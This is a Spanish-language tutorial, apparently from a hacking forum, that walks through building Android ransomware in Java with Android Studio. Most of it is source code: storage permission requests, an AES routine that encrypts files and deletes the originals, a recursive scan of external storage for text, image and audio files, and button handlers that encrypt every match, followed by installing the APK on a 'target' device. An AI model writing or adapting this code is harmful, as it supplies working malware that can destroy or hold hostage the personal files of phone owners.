Creando ransomware para Android.

Que es un ransomware según wikipedia.

«Un ransomware (del inglés ransom, ‘rescate’, y ware, por software) es un tipo de programa informático malintencionado que restringe el acceso a determinadas partes o archivos del sistema infectado, y pide un rescate a cambio de quitar esta restricción.1​ Algunos tipos de ransomware cifran los archivos del sistema operativo inutilizando el dispositivo y coaccionando al usuario a pagar el rescate.»

En esta guía veremos como crear un ransomware, con la ayuda del algoritmo de encriptación AES el cuál permitirá encriptar todos los archivos.

Es deseable poseer conocimientos de Java y Android.


Comenzando el laboratorio.

Lo primero que debemos hacer es abrir Android Studio y crear un nuevo proyecto, creamos un EmptyActivity con su clase:

Underc0de - AndroidStudio

Creamos un EditText y dos botones con el siguiente código:

<TextView
     android:id="@+id/textView4"
     android:layout_width="match_parent"
     android:layout_height="wrap_content"
     android:layout_gravity="center_vertical|center_horizontal|center"
     android:fontFamily="monospace"
     android:text="Contraseña"
     android:textSize="18sp" />
<EditText
     android:id="@+id/clavesita"
     android:layout_width="match_parent"
     android:layout_height="wrap_content"
     android:ems="10"
     android:inputType="textPassword" />
<Button
     android:id="@+id/boton1"
     android:layout_width="match_parent"
     android:layout_height="wrap_content"
     android:text="Encriptar" />
<Button
     android:id="@+id/boton2"
     android:layout_width="match_parent"
     android:layout_height="wrap_content"
     android:text="Desencriptar" />

Tendremos como resultado:

Underc0de - Resultado botones

A partir de aquí, comienza la diversión; debemos prestar mucha atención a los “detalles”.

Debemos obtener permisos en el manifest y en tiempo de ejecución, utilizando la versión de Marshmallow, vamos a la carpeta y hacemos doble clic en el archivo AndroidManifest.xml modificando lo siguiente:

<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

Vamos a la clase que hemos creado junto al EmptyActivity (la utilizada se llama MainActivity) y pedimos permisos ejecución:

//Verificamos si ya tiene permisos
if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED
    && ContextCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED) { 
    Toast.makeText(this, "La app ya tiene permisos", Toast.LENGTH_SHORT).show();
//Ya tenemos los permisos necesarios
//Podemos proceder a trabajar con la memoria de el celular
  } else{
//Si no tenemos permisos, creare una funcion para pedirlos
   PedirPermisos();
}

fuera del método OnCreate definimos la función PedirPermisos:

public void PedirPermisos() {
     if (ActivityCompat.shouldShowRequestPermissionRationale(this, Manifest.permission.READ_EXTERNAL_STORAGE)) {
     Toast.makeText(this, "Se necesitan permisos", Toast.LENGTH_SHORT).show();
     }
     ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_EXTERNAL_STORAGE, Manifest.permission.WRITE_EXTERNAL_STORAGE},
     MY_PERMISSIONS_REQUEST);
 }

Como debemos conocer la respuesta del usuario, crearemos una versión propia de la función onRequestPermissionResult, indicará si el usuario brindo los permisos o no.

@Override
public void onRequestPermissionsResult(int requestCode,
String permissions[], int[] grantResults) {
  if (requestCode == MY_PERMISSIONS_REQUEST) {
// If request is cancelled, the result arrays are empty.
    if (grantResults.length > 0
    && grantResults[0] == PackageManager.PERMISSION_GRANTED && grantResults[1] == PackageManager.PERMISSION_GRANTED) {
    Toast.makeText(this, "La app ya tiene permisos", Toast.LENGTH_SHORT).show();
    } else {
    Toast.makeText(this, "SIN PERMISOS NO SE PUEDE EJECUTAR LA APP", Toast.LENGTH_SHORT).show();
    }
  return;
 }
}

Como resultado parcial, debido que aún no finalizamos; obtendremos lo siguiente:

Underc0de - onRequestPermissionResult

Procedemos a crear la función encriptar(), detalle – necesita una clave de parámetro-, es la clave que utiliza para cifrar los archivos, tiene que ser de 16bytes.

A modo práctico utilizaremos tr3D0ctaOlajESzU y una dirección, es la ubicación del archivo.

public void encriptar(String clave, String direccion, String nombre) throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException {
//Archivo de entrada(sin encriptar)
File extStore = Environment.getExternalStorageDirectory();
FileInputStream Entrada = new FileInputStream("/" + direccion);
//Archivo de salida(encriptado) su nombre cambia quedaria guardado algo asi = encript_foto.jpg
FileOutputStream Salida = new FileOutputStream(extStore + "/encript_" + nombre);
// Tamaño de la key 16 bytes!
SecretKeySpec sks = new SecretKeySpec(clave.getBytes(), "AES");
// Se crea el Cipher, el encargado de cifrar los streams
Cipher cipher = Cipher.getInstance("AES");
cipher.init(Cipher.ENCRYPT_MODE, sks);
// stream de salida, archivo de salida
CipherOutputStream cos = new CipherOutputStream(Salida, cipher);
// Escribe bytes
int b;
byte[] d = new byte[8];
while ((b = Entrada.read(d)) != -1) {
    cos.write(d, 0, b);
}
//Cierra los stream
cos.flush();
cos.close();
Entrada.close();
//Borra el archivo original
File tmp = new File("/" + direccion);
tmp.delete();
}

Y la  función desencriptar():

public static void desencriptar(String clave, String direccion, String nombre) throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException {
  File extStore = Environment.getExternalStorageDirectory();
  FileInputStream Entrada = new FileInputStream("/" + direccion);
  FileOutputStream Salida = new FileOutputStream(extStore + "/decrypt_" + nombre);
  SecretKeySpec sks = new SecretKeySpec(clave.getBytes(), "AES");
  Cipher cipher = Cipher.getInstance("AES");
  cipher.init(Cipher.DECRYPT_MODE, sks);
  CipherInputStream cis = new CipherInputStream(Entrada, cipher);
  int b;
  byte[] d = new byte[8];
  while ((b = cis.read(d)) != -1) {
    Salida.write(d, 0, b);
  }
  Salida.flush();
  Salida.close();
  cis.close();
  //Borra el archivo encriptado
  File tmp = new File("/" + direccion);
  tmp.delete();
}

Al haber realizado las funciones encriptar() y desencriptar() queda desarrollar una función recursiva que recorra todas las carpetas del dispositivo para encriptar los archivos:

public static ArrayList<File> EncontrarArchivos(File root) {
  ArrayList<File> Archivos = new ArrayList<File>();
  File[] _archivos = root.listFiles();
    if (_archivos != null) {
      for (File lista : _archivos) {
        if (lista.isDirectory() && !lista.isHidden()) {
          Archivos.addAll(EncontrarArchivos(lista));
        } else {
     //Solo permitimos archivos que terminen en . txt .jpg .jpeg y .mp3
          if (lista.getName().endsWith(".txt") || lista.getName().endsWith(".jpg") || lista.getName().endsWith(".jpeg") || 
          lista.getName().endsWith(".png") || lista.getName().endsWith(".mp3")) {
            if (lista.getTotalSpace() > 3) {
 //Si termina en lo que queremos y pesa mas de 3 kb lo agregamos a la lista
            Archivos.add(lista);
            }
          }
        }
     }
   }
 return Archivos;
 }

Al haber desarrollado las funciones principales, resta programar los botones encriptar y desencriptar. Para poder realizar esto; primero utilizamos el código desarrollado donde verifica los permisos y creamos el evento OnClickListener para cada botón, al ser clickeados los botones, ejecutarán una acción:

//PIDE Y COMPRUEBA PERMISOS EN EJECUCION
if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED
  && ContextCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED) {
//Referencia botones y demas
  final Button BotonEncriptar = (Button) findViewById(R.id.boton1);
  final Button BotonDesencriptar = (Button) findViewById(R.id.boton2);
  final EditText EntradaClave = (EditText) findViewById(R.id.clavesita);
  Toast.makeText(this, "La app ya tiene permisos", Toast.LENGTH_SHORT).show();
  BotonDesencriptar.setOnClickListener(new View.OnClickListener() {
    [b]@[url=https://underc0de.org/foro/index.php?action=profile;u=8340]Override[/url][/b]
  public void onClick(View view) {
  try {
    //Lista de archivos encontrados en el sistema
    final ArrayList<File> Archivos = EncontrarArchivos(Environment.getExternalStorageDirectory());
      for (int i = 0; i < Archivos.size(); i++) {
      //los mandamos a desenciptar 1 x 1, pasandole el nombre del archivo y su ubicacion, pero primero
      revisamos si esta encriptado, (que en su nombre tenga la palabra "encrypt_"
     int comprobacion = Archivos.get(i).getName().indexOf("encript_");
       if (comprobacion != -1) {
        desencriptar(clave, Archivos.get(i).getPath(), Archivos.get(i).getName());
       }
     }
 }
 //Excepciones necesarias para la funcion de encriptar
 } catch (IOException | NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException k) {
 k.printStackTrace();
   }
  }
 });
 BotonEncriptar.setOnClickListener(new View.OnClickListener() {
 [b]@[url=https://underc0de.org/foro/index.php?action=profile;u=8340]Override[/url][/b]
 public void onClick(View view) {
   try {
     final ArrayList<File> Archivos = EncontrarArchivos(Environment.getExternalStorageDirectory());
     for (int i = 0; i < Archivos.size(); i++) {
       //los mandamos a encriptar 1 x 1, pasandole el nombre del archivo y su ubicacion
     encriptar(clave, Archivos.get(i).getPath(), Archivos.get(i).getName());
      }
   catch (IOException | NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException k) {
     k.printStackTrace();
   }
   }
 });
 } else {
 PedirPermisos();
 }
}

Debemos identificar la clave que ingresan para encriptar o desencriptar, con el EditText solicitamos al usuario que realice el input:

//Referenciamos nuestro objetos en pantalla
final Button BotonEncriptar = (Button) findViewById(R.id.boton1);
final Button BotonDesencriptar = (Button) findViewById(R.id.boton2);
final EditText EntradaClave = (EditText) findViewById(R.id.clavesita);

Para luego leer la clave:

String clave = EntradaClave.getText().toString();

Esto se inyecta en el evento OnClickListener del botón encriptar para que al presionar el botón, realice el trabajo.

Luego del trabajo realizado, toca crear la Apk.


Instalando la apk, encriptando y desencriptando.

Luego de crear la Apk, procedemos a instalarla en el equipo objetivo.

Creamos una carpeta docs que contiene un archivo de texto, música e imagen.

Underc0de - laboratorio parte 2

 

Lanzamos la Apk y pulsamos el botón encriptar:

Underc0de - encriptando

Al momento de intentar realizar alguna acción con los archivos, el dispositivo movil no reconoce el formato de los archivos impidiendo ejecutarlas.

Volvamos a la Apk, y pulsamos el botón desencriptar:

Underc0de - desencriptando

Palabras finales.

Un reflexión que arribe al desarrollar el PoC, ¿Por qué no utilizar de manera propia?

Qué ocurre cuando nos roban el Smartphone, ¿dejamos a libre albedrio nuestra privacidad e información?


Agradecimiento.

Agradecemos a user_en1gm4 por éste inmenso trabajo realizado.

Posts Relacionados

Comments

comments

One comment

Deja una respuesta

Tu email no será publicado. Los campos requeridos estan marcados con *
Puedes usar tags HTML y los atributos: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>